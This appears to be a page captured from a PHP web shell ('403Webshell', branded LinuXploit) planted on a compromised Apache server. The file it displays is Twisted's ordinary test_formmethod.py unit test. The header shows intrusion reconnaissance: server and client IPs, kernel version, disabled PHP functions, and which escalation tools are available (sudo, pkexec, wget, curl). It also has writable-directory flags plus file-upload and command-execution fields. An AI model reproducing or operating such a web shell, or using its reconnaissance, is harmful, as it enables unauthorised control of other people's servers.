403Webshell
Server IP : 104.21.38.3  /  Your IP : 172.70.188.63
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/twisted/test/test_formmethod.py
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.


"""
Test cases for formmethod module.
"""

from twisted.python import formmethod
from twisted.trial import unittest


class ArgumentTests(unittest.TestCase):
    def argTest(self, argKlass, testPairs, badValues, *args, **kwargs):
        arg = argKlass("name", *args, **kwargs)
        for val, result in testPairs:
            self.assertEqual(arg.coerce(val), result)
        for val in badValues:
            self.assertRaises(formmethod.InputError, arg.coerce, val)

    def test_argument(self):
        """
        Test that corce correctly raises NotImplementedError.
        """
        arg = formmethod.Argument("name")
        self.assertRaises(NotImplementedError, arg.coerce, "")

    def testString(self):
        self.argTest(formmethod.String, [("a", "a"), (1, "1"), ("", "")], ())
        self.argTest(
            formmethod.String, [("ab", "ab"), ("abc", "abc")], ("2", ""), min=2
        )
        self.argTest(
            formmethod.String, [("ab", "ab"), ("a", "a")], ("223213", "345x"), max=3
        )
        self.argTest(
            formmethod.String,
            [("ab", "ab"), ("add", "add")],
            ("223213", "x"),
            min=2,
            max=3,
        )

    def testInt(self):
        self.argTest(
            formmethod.Integer, [("3", 3), ("-2", -2), ("", None)], ("q", "2.3")
        )
        self.argTest(
            formmethod.Integer, [("3", 3), ("-2", -2)], ("q", "2.3", ""), allowNone=0
        )

    def testFloat(self):
        self.argTest(
            formmethod.Float, [("3", 3.0), ("-2.3", -2.3), ("", None)], ("q", "2.3z")
        )
        self.argTest(
            formmethod.Float,
            [("3", 3.0), ("-2.3", -2.3)],
            ("q", "2.3z", ""),
            allowNone=0,
        )

    def testChoice(self):
        choices = [("a", "apple", "an apple"), ("b", "banana", "ook")]
        self.argTest(
            formmethod.Choice,
            [("a", "apple"), ("b", "banana")],
            ("c", 1),
            choices=choices,
        )

    def testFlags(self):
        flags = [("a", "apple", "an apple"), ("b", "banana", "ook")]
        self.argTest(
            formmethod.Flags,
            [(["a"], ["apple"]), (["b", "a"], ["banana", "apple"])],
            (["a", "c"], ["fdfs"]),
            flags=flags,
        )

    def testBoolean(self):
        tests = [("yes", 1), ("", 0), ("False", 0), ("no", 0)]
        self.argTest(formmethod.Boolean, tests, ())

    def test_file(self):
        """
        Test the correctness of the coerce function.
        """
        arg = formmethod.File("name", allowNone=0)
        self.assertEqual(arg.coerce("something"), "something")
        self.assertRaises(formmethod.InputError, arg.coerce, None)
        arg2 = formmethod.File("name")
        self.assertIsNone(arg2.coerce(None))

    def testDate(self):
        goodTests = {
            ("2002", "12", "21"): (2002, 12, 21),
            ("1996", "2", "29"): (1996, 2, 29),
            ("", "", ""): None,
        }.items()
        badTests = [
            ("2002", "2", "29"),
            ("xx", "2", "3"),
            ("2002", "13", "1"),
            ("1999", "12", "32"),
            ("2002", "1"),
            ("2002", "2", "3", "4"),
        ]
        self.argTest(formmethod.Date, goodTests, badTests)

    def testRangedInteger(self):
        goodTests = {"0": 0, "12": 12, "3": 3}.items()
        badTests = ["-1", "x", "13", "-2000", "3.4"]
        self.argTest(formmethod.IntegerRange, goodTests, badTests, 0, 12)

    def testVerifiedPassword(self):
        goodTests = {("foo", "foo"): "foo", ("ab", "ab"): "ab"}.items()
        badTests = [
            ("ab", "a"),
            ("12345", "12345"),
            ("", ""),
            ("a", "a"),
            ("a",),
            ("a", "a", "a"),
        ]
        self.argTest(formmethod.VerifiedPassword, goodTests, badTests, min=2, max=4)

Youez - 2016 - github.com/yon3zu
LinuXploit